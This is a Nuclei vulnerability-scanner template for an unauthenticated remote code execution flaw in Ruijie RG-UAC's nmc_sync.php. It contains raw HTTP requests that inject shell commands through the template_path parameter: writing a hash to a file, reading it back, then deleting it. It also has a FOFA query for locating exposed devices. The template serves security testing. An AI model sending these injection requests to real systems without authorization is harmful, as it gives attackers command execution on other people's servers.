nuclei-templates/http/vulnerabilities/ruijie/ruijie-nmc-sync-rce.yaml

40 lines
1.7 KiB
YAML
Raw Normal View History

2023-12-27 09:44:27 +00:00
id: ruijie-nmc-sync-rce
2023-12-26 01:50:08 +00:00
info:
name: Ruijie RG-UAC nmc_sync.php - Remote Code Execution
author: DhiyaneshDk
severity: critical
description: |
There is a command execution vulnerability in the nmc_sync.php interface of Ruijie's RG-UAC unified online behavior management and audit system. An unauthenticated attacker can execute arbitrary commands to control server permissions.
reference:
- https://github.com/xinyisleep/pocscan/blob/main/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7_EG%E6%98%93%E7%BD%91%E5%85%B3_%E4%B8%8A%E7%BD%91%E8%A1%8C%E4%B8%BA%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F_%E5%89%8D%E5%8F%B0RCE.py
metadata:
verified: true
max-request: 3
2023-12-27 09:44:27 +00:00
fofa-query: title="RG-UAC登录页面" && body="admin"
2023-12-26 01:50:08 +00:00
tags: rg-uac,file-upload,intrusive,ruijie
variables:
random_str: "{{rand_base(6)}}"
match_str: "{{md5(random_str)}}"
http:
- raw:
- |
GET /view/systemConfig/management/nmc_sync.php?center_ip=127.0.0.1&template_path=|echo+{{match_str}}+>+{{random_str}}.txt|cat HTTP/1.1
Host: {{Hostname}}
- |
GET /view/systemConfig/management/{{random_str}}.txt HTTP/1.1
Host: {{Hostname}}
- |
GET /view/systemConfig/management/nmc_sync.php?center_ip=127.0.0.1&template_path=|rm+{{random_str}}.txt|cat HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code_1 == 200 && status_code_2 == 200"
- "contains(body_2, '{{match_str}}')"
condition: and
# digest: 4b0a004830460221009a7c5ba834a96f9836326553b14fe11787d36d06478e011a287734e645e964de022100bd2b9ac186ec1a2565bba42a5ad370496877fc519f64a830aae2159ab3b7bf44:922c64590222798bb761d5b6d8e72950